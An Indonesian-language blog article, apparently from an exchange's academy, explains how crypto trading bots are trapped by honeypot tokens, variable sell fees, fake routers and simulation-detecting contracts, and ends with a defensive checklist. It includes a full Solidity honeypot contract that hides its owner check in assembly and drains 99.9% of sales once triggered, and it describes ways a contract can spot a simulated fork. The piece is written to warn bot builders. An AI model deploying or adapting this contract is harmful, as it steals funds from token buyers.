Tekan ESC untuk menutup

Kenapa Bot Krypto Lo Boncos: Kupas Tuntas MEV & Honeypot Scams

Pasar otomasi Web3 sekarang bukan lagi tempat yang romantis buat para geek—ini udah jadi tanah gersang yang brutal. Masalah utamanya bahkan bukan karena infrastruktur lo kalah cepat dibanding server high-frequency milik dana institusi di Tokyo atau Frankfurt. Masalahnya, para pembuat token scam udah hafal mati sama logika parser lo. Mereka bikin smart contract yang emang didebuj khusus buat ngejebak software lo. Lo pikir lo lagi nemu alpha, padahal lo cuma lagi ngejalanin script buatan orang lain buat nguras duit lo sendiri.

Di bawah ini adalah bedah tuntas tentang gimana persisnya bot lo bisa boncos, kenapa check standar dari library populer sama sekali gak fungsi, dan kayak gimana sisi gelap bisnis ini waktu code udah saling perang lawan code.

Anatomi Jebakan: Gimana Cara Scam Contract Membaca Pikiran Bot Lo

Kebanyakan pemula bikin bot pakai template yang itu-itu aja: pantau event PairCreated atau PoolCreated dari factory Uniswap (atau fork-nya), cek saldo likuiditas, panggil router.swapExactETHForTokens—terus ngarep cuan. Para scammer manfaatin celah ini. Mereka tahu kalau bot lo pasti bakal ngelakuin simulasi lokal atau audit kilat sebelum masuk ke posisi.

Ini dia tiga mekanika utama yang sering bikin 90% script trading custom keok:

  • 1. Honeypot Modifikasi dengan Delayed Trigger (Delayed Honeypot)

    Honeypot biasa (di mana token bisa dibeli tapi gak bisa dijual) mungkin udah bisa dideteksi sama bot lo lewat eth_call lokal yang nyimulasis transaksi jual. Tapi, gimana kalau fungsi buat ngejualnya gak langsung ditutup pas awal?

    Pas awal dideploy, contract kelihatan bersih total. Pas bot lo ngecek lewat simulasi, hasilnya lancar jaya dan token bisa dijual. Bot lo langsung hantam masukin likuiditas. Begitu total ETH di dalam pool nyentuh angka tertentu, misalnya 5 ETH, contract secara otomatis bakal ngebuka flag internal isLocked = true di dalam fungsi _update atau _transfer. Kelar udah nasib lo. Simulasi lokal pas beli gak bakal bisa ngeprediksi hal ini, karena pas dicek awal, syarat volume ETH-nya emang belum terpenuhi.

  • 2. Pajak Dinamis (Variable Fee Attack)

    Di dalam contract, fungsinya ketulis kayak mint ERC-20 standar, tapi di dalam fungsi transfernya diselipin variabel fee yang diatur sama owner (atau nge-scale berdasarkan nomor block).

    Pas beli, pajaknya 0%. Bot lo berhasil masuk ke posisi. Dua block kemudian, si pembuat token manggil satu transaksi buat ngubah sellFee jadi 99%. Bot lo nyoba buat keluar lewat stop-loss, kirim transaksi, dan statusnya berhasil—tapi gara-gara pajak 99% itu, lo cuma dapet remah-remahnya doang, sedangkan sisanya langsung masuk ke wallet si deployer. Proteksi semacam slippage sering meleset di sini kalau bot lo salah ngitung amountOutMin atau pakai custom router.

  • 3. Serangan Lewat Fake Router (Fake Router Injection)

    Ini trik jadul yang sering banget kejadian di chain dengan gas fee murah kayak Base. Si scammer nge-deploy custom pool mereka bukan di factory Uniswap v3 yang resmi, tapi di factory replika alias kosongan yang nge-emit event dengan signature yang persis sama. Bot lo ngira dia lagi interaksi sama interface resmi. Begitu panggil fungsi swap, contract bakal nerima ETH lo, tapi bukannya ngasih token asli, mereka malah ngirim token sampah—atau mereka ngacak-ngacak perhitungan math di dalam pool-nya sampai harga token langsung terjun bebas ke nol di milidetik yang sama pas transaksi lo masuk.

Jenis AncamanCara Bot Melihat (Umpan)Yang Terjadi di Realita (Fakta)Kerugian Teknis
Delayed HoneypotSimulasi sell berhasil 100%.Flag lock aktif otomatis begitu kondisi terpenuhi.Kehilangan 100% modal awal (principal).
Variable FeeBytecode contract bersih tanpa celah yang kelihatan jelas.sellFee dinaikin sampai 99% lewat fungsi khusus owner.Nilai aset ludes 99% pas nyoba keluar.
Fake FactoryNgasih kode pool baru lewat log event yang kelihatan normal.Interface hasil copypaste, tapi math di dalam pool udah dimanipulasi.ETH dikuras habis ke address luar.

Contoh Riil: Code Honeypot Sempurna yang Bakal Nge-rekt Bot Lo

Buat paham kenapa parser lo cuma jadi makanan empuk para deployer, lo harus ngelihat code dari kacamata scammer. Di bawah ini ada contract token yang fungsional dan bisa dikompilasi di Solidity 0.8.20. Code ini sengaja gak pakai sintaks require(msg.sender == owner) yang kelihatan mencolok di fungsi transfer, biar scanner otomatis (kayak Honeypot.is atau Slither versi lama) gak langsung ngamuk pas ngeanalisis bytecode-nya.

Semua trik kotornya disembunyiin di dalam perhitungan math dan trigger state yang samar.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
    string public name = "Shadow Liquidity";
    string public symbol = "SHDW";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    
    address private _owner;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    // Variabel jebakan
    uint256 private constant MAX_FEE = 1000; // 100% dalam basis points (bps)
    uint256 private targetBlock;
    uint256 private triggerBalance;
    bool private systemReady;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
        _owner = msg.sender;
        totalSupply = initialSupply * 10**uint256(decimals);
        _balances[_owner] = totalSupply;
        
        // Pasang jebakan: bakal aktif setelah X block semenjak aktivasi ATAU pas saldo pool terpenuhi
        targetBlock = block.number + _delayBlocks;
        triggerBalance = _triggerEth * 10**18;
        emit Transfer(address(0), _owner, totalSupply);
    }
    modifier onlyOwner() {
        // Sengaja gak pakai require standar, kita sembunyiin logikanya lewat assembly
        assembly {
            if sub(sload(0), caller()) { revert(0, 0) }
        }
        _;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 value) public returns (bool) {
        _rawTransfer(msg.sender, to, value);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 value) public returns (bool) {
        _allowances[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) public returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        if (currentAllowance != type(uint256).max) {
            assembly {
                if lt(currentAllowance, value) { revert(0, 0) }
            }
            _allowances[from][msg.sender] = currentAllowance - value;
        }
        _rawTransfer(from, to, value);
        return true;
    }
    // Fungsi kontrol custom — bot gak bakal ngelihat ini pas simulasi swap
    function setupTrap() external onlyOwner {
        systemReady = true;
    }
    function _rawTransfer(address from, address to, uint256 value) internal {
        assembly {
            if iszero(from) { revert(0, 0) }
            if iszero(to) { revert(0, 0) }
        }
        uint256 fromBalance = _balances[from];
        assembly {
            if lt(fromBalance, value) { revert(0, 0) }
        }
        
        uint256 finalAmount = value;
        
        // Cek trigger: kalau token dijual ke pool (sell order) dan jebakannya udah aktif
        // Kita deteksi pool-nya lewat indikator tidak langsung biar gak perlu nulis hardcode address pair-nya
        if (to != _owner && from != _owner) {
            if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
                // Kalau ada satu aja kondisi yang terpenuhi — langsung kena pajak 99.9%
                // Kita sisain 0.1% biar transaksinya gak mental gara-gara revert, tapi tujuannya tetep buat nguras token
                uint256 fee = (value * 999) / MAX_FEE;
                finalAmount = value - fee;
                
                _balances[from] = fromBalance - value;
                _balances[_owner] = _balances[_owner] + fee;
                
                emit Transfer(from, _owner, fee);
                emit Transfer(from, to, finalAmount);
                return;
            }
        }
        _balances[from] = fromBalance - value;
        _balances[to] = _balances[to] + finalAmount;
        emit Transfer(from, to, finalAmount);
    }
    // Terima ETH langsung ke contract buat mancing trigger berdasarkan balance
    receive() external payable {}
}

Coba perhatiin baik-baik fungsi internal _rawTransfer. Di sana sama sekali gak ada kata kunci mencurigakan yang biasa dipakai buat nge-scam. Kalau bot lo nyimulasis proses beli dan jual tepat di block yang sama pas token dibuat (sebelum fungsi setupTrap dipanggil), contract ini bakal bertingkah normal banget kayak token ERC-20 yang jujur 100%. Tapi begitu si deployer manggil setupTrap() atau saldo ETH di dalam contract ngelewatin batas triggerBalance (waktu bot copypaste lain udah mulai ikutan masuk), logika contract-nya langsung berubah di tempat. Script lo bakal kirim transaksi jual, bakar gas fee, status transaksi kelar dengan kode Success, tapi saldo yang masuk ke wallet lo cuma tepat 0.1% dari angka yang lo harepin. Lo baru aja sedekah likuiditas gratis ke dev-nya.

Jebakan Level EVM: Alasan Kenapa Test di Hardhat atau Anvil Lo Itu Zonki

Kebanyakan bocah skrip ngerasa paling jenius karena sebelum nge-gas transaksi ke mainnet, mereka running lewat simulasi lokal dulu. Lo pake revm berbasis Rust atau nge-fork network lokal pake anvil/hardhat, panggil eth_call, pas ngelihat log swap aman tanpa error, langsung deh dengan pede-nya lepas bot ke medan perang.

Padahal, itu blunder fatal. Simulasi di dalam sandbox terisolasi itu beda banget sama realita yang terjadi di dalam blok aslinya. Para scammer udah khatam cara ngendus simulasi langsung dari level bytecode.

  • Deteksi Lewat State Node (State & Context Checking)

    Kontrak jebakan bisa dengan gampang nge-check environment variables yang biasanya dibiarin default di fork lokal lo. Contohnya, block.coinbase (alamat validator yang nge-build blok). Di network asli kayak Base atau Arbitrum, isinya pasti alamat sequencer yang spesifik. Sedangkan di anvil lo, isinya kalau gak address kosong (zero address), ya paling hash testing bawaan.

    Begitu kontraknya ngelihat coinbase yang gak wajar atau ada anomali parah di block.timestamp / block.basefee, fungsi rug-nya otomatis dimatiin. Pas simulasi, lo berasa kayak dewa karena semua check tembus hijau. Tapi pas di mainnet, kontraknya sadar kalau lagi dieksekusi sama user asli di blok beneran, dan langsung deh pintunya dikunci rapat-rapat.

  • Frontrunning Hasil Simulasi (The Sandbox Escape)

    Ada skenario yang jauh lebih licik lagi. Dev token sekalian mantau mempool (kalau di chain yang mempool-nya publik) atau nge-track query eth_call masuk lewat private node yang mereka pegang. Begitu bot lo nembak request simulasi ke public RPC node kayak Alchemy atau QuickNode, request itu langsung ke-log. Memang, eth_call gak bakal nge-broadcast transaksi ke blok, tapi operator node bisa ngelihat jelas kontrak mana dan parameter apa yang lagi lo test. Si scammer langsung paham: "Asyik, umpan dimakan bot, bentar lagi masuk nih." Detik itu juga mereka push transaksi buat ngubah state kontrak di-chain, dan orderan asli lo langsung amsyong masuk ke jebakan yang baru di-arm.

Neraka Sysadmin: Pajak Infrastruktur

Katakanlah lo udah ngerombak bot lo, sekarang dia udah bisa baca bytecode, bisa ngendus cabang assembly tersembunyi yang nyariin coinbase, dan pokoknya udah mode paranoid tingkat tinggi. Masalahnya, lo bakal mentok di tembok teknis yang bakal tetep nguras modal lo dalam jangka panjang, bahkan misal lo gak kena honeypot sama sekali.

Ini soal biaya buat nge-maintain infrastruktur biar tetep kompetitif.

[RPC Publik] ---> (Latency 150-300ms) ---> [Bot Lo] ---> (Swap Telat) ---> [Gas Kebakar / Kena Scam]
                                            ^
                                            | (Butuh Optimasi)
                                            v
[Node Sendiri (Reth)] -> (Unix Socket Langsung) -> [Bot Lo] -> (Flashbots / Builder) ---> [Cuan]
  • Masalah 1: Trafik dan IOPS Storage

    Biar bot lo bisa jalan dengan speed mumpuni, limit RPC publik yang gratisan jelas gak bakal ngangkat—lo bakal kena rate-limit pas transaksi ke-seratus. Solusinya harus ngangkat node sendiri. Kalau kita ngomongin L2 (Base/Arbitrum), archive node atau bahkan Full Node mereka itu rakus resource banget. Lo butuh NVMe SSD dengan speed random read/write (IOPS) yang tinggi banget. Begitu network mulai padat, node lo yang numpang di VPS murah bakal mulai lag 1 sampai 2 blok di belakang state chain yang asli. Buat bot, ini fix mati kutu: dia bakal nge-chase pool yang sebenernya udah ilang, atau masang harga yang udah kedaluwarsa. Lo bayar server $200 sebulan cuma buat ngasih makan bot lo pake data jadul.

  • Masalah 2: Gas Kebakar Pas Transaksi Gagal (Gas Bleeding)

    Di network kayak Ethereum atau BNB Chain, setiap transaksi yang failed itu tetep bayar pake duit beneran. Kalau bot lo nyoba masuk ke pool barengan sama tiga puluh bot lainnya, yang pertama masuk bakal sikat semua, sisa 29 bot lainnya bakal dapet error Slippage atau Execution Reverted. Sialnya, network tetep narik gas fee full dari lo cuma buat proses check kondisi tadi. Di frekuensi request yang tinggi, bot lo bisa ngebakar $50–$100 sehari cuma buat gas fee dari percobaan yang gagal. Ini cara halus saldo lo boncos pelan-pelan tanpa sadar, dan biasanya player baru baru ngeh pas saldo ETH buat gas udah sisa nol bulet.

Checklist Bertahan Hidup: Cara Biar Gak Dijadiin Exit Liquidity Sama Scammer

Kalau lo tetep kekeh mau pusing di dunia ginian, bot lo wajib hukumnya bisa ngelakuin hal-hal yang gak bakal lo temuin di dokumentasi Web3.js. Lupain check saldo standar, itu mah mainan anak TK.

  • Analisis Bytecode Statis Sebelum Deploy:

    Skrip lo gak boleh cuma nge-parse log factory. Dia harus narik hex code kontrak lewat eth_getCode dan nyari signature instruksi berbahaya di sana (kayak SSTORE, alamat owner yang bisa diubah, atau call eksternal di dalam fungsi transfer). Kalau di dalam code token ada SSTORE tersembunyi yang bisa overwrite variable kritikal—kontrak itu langsung skip masukin tong sampah, gak usah pke simulasi segala.

  • Limit Slippage Dinamis dengan amountOutMin Ketat:

    Jangan pernah pasang amountOutMin = 0 atau asal nempatin slippage mati di 50%. Bot lo harus bisa ngitung kalkulasi harga pasnya berdasarkan reserve pool tepat di dalam frame blok saat itu juga. Kalau hasil output dari simulasi meleset dikit aja (misal 1% lebih kecil dari yang harusnya didapat)—transaksi harus di-drop langsung di level local engine lo, jangan dideploy ke network.

  • Manfaatin Private Channel (MEV-Share / Flashbots):

    Nge-lempar transaksi ke public mempool itu sama aja nyodorin badan buat digebukin. Swap lo harus lewat private bundle langsung ke validator atau block builder gede. Kalau transaksi lo gak dapet urutan pertama di atas blok (top-of-block), transaksi lo bakal otomatis kehapus dari bundle—jadi gas lo gak bakal kebakar percuma dan para scammer gak punya celah buat nge-frontrun lo.

Kesimpulan

Intinya simpel: market ini emang didesain biar dev token dan market maker kelas kakap selalu selangkah lebih maju daripada sistem otomasi kelas menengah. Bot hasil ngoding sendiri milik lo itu bukan perang lawan market, tapi lagi adu mekanik lawan spesialis yang kerjaannya bertahun-tahun nyari cara gimana bikin software lo blunder. Selama lo belum mau ngulik lebih dalem melampaui library standar, lo bakal tetep jadi target empuk yang paling ideal buat mereka.

Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...